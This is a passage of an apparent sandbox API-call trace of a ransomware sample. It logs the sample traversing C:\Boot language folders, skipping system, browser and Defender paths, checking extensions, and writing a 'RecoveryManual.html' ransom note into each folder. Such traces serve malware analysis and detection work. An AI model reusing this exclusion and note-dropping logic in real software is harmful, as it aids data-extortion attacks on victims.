lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.897] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.897] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.897] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.897] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.897] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.897] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.897] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.898] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\nb-NO\\" | out: lpString1="\\\\?\\c:\\Boot\\nb-NO\\") returned="\\\\?\\c:\\Boot\\nb-NO\\" [0175.898] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\nb-NO\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\nb-NO\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\nb-NO\\RecoveryManual.html" [0175.898] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\nb-NO\\RecoveryManual.html" (normalized: "c:\\boot\\nb-no\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.898] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.899] CloseHandle (hObject=0x15c) returned 1 [0175.899] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.899] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.899] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0175.899] lstrcpyW (in: lpString1=0x69b8b4, lpString2="nl-NL" | out: lpString1="nl-NL") returned="nl-NL" [0175.899] lstrcatW (in: lpString1="nl-NL", lpString2="\\" | out: lpString1="nl-NL\\") returned="nl-NL\\" [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\Windows\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\WINNT") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.899] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.900] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\nl-NL\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.900] lstrlenW (lpString="\\\\?\\c:\\Boot\\nl-NL\\") returned 18 [0175.900] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\nl-NL\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.901] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\nl-NL\\" | out: lpString1="\\\\?\\c:\\Boot\\nl-NL\\") returned="\\\\?\\c:\\Boot\\nl-NL\\" [0175.901] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.901] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.901] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.901] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.901] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.901] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.901] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.901] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.901] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.901] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.901] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\nl-NL\\" | out: lpString1="\\\\?\\c:\\Boot\\nl-NL\\") returned="\\\\?\\c:\\Boot\\nl-NL\\" [0175.901] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\nl-NL\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\nl-NL\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\nl-NL\\RecoveryManual.html" [0175.901] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\nl-NL\\RecoveryManual.html" (normalized: "c:\\boot\\nl-nl\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.902] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.903] CloseHandle (hObject=0x15c) returned 1 [0175.903] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.903] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.903] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0175.903] lstrcpyW (in: lpString1=0x69b8b4, lpString2="pl-PL" | out: lpString1="pl-PL") returned="pl-PL" [0175.903] lstrcatW (in: lpString1="pl-PL", lpString2="\\" | out: lpString1="pl-PL\\") returned="pl-PL\\" [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\Windows\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\WINNT") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.903] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.904] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.904] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.904] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.904] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.904] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pl-PL\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.904] lstrlenW (lpString="\\\\?\\c:\\Boot\\pl-PL\\") returned 18 [0175.904] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\pl-PL\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.904] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\pl-PL\\" | out: lpString1="\\\\?\\c:\\Boot\\pl-PL\\") returned="\\\\?\\c:\\Boot\\pl-PL\\" [0175.904] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.904] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.904] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.904] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.904] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.904] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.904] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.904] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.904] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.904] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.904] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\pl-PL\\" | out: lpString1="\\\\?\\c:\\Boot\\pl-PL\\") returned="\\\\?\\c:\\Boot\\pl-PL\\" [0175.904] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\pl-PL\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\pl-PL\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\pl-PL\\RecoveryManual.html" [0175.904] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\pl-PL\\RecoveryManual.html" (normalized: "c:\\boot\\pl-pl\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.905] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.906] CloseHandle (hObject=0x15c) returned 1 [0175.906] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.906] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.907] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0175.907] lstrcpyW (in: lpString1=0x69b8b4, lpString2="pt-BR" | out: lpString1="pt-BR") returned="pt-BR" [0175.907] lstrcatW (in: lpString1="pt-BR", lpString2="\\" | out: lpString1="pt-BR\\") returned="pt-BR\\" [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\Windows\\") returned 0x0 [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\WINNT") returned 0x0 [0175.907] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.908] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\pt-BR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.908] lstrlenW (lpString="\\\\?\\c:\\Boot\\pt-BR\\") returned 18 [0175.908] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\pt-BR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.909] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\pt-BR\\" | out: lpString1="\\\\?\\c:\\Boot\\pt-BR\\") returned="\\\\?\\c:\\Boot\\pt-BR\\" [0175.909] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.909] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.909] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.909] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.909] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.909] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.909] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.909] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.909] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.909] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.909] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\pt-BR\\" | out: lpString1="\\\\?\\c:\\Boot\\pt-BR\\") returned="\\\\?\\c:\\Boot\\pt-BR\\" [0175.909] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\pt-BR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\pt-BR\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\pt-BR\\RecoveryManual.html" [0175.909] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\pt-BR\\RecoveryManual.html" (normalized: "c:\\boot\\pt-br\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.910] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.910] CloseHandle (hObject=0x15c) returned 1 [0175.911] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, 